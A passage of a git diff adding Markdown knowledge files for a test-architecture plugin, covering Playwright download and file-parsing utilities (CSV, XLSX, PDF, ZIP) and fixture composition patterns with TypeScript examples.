+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
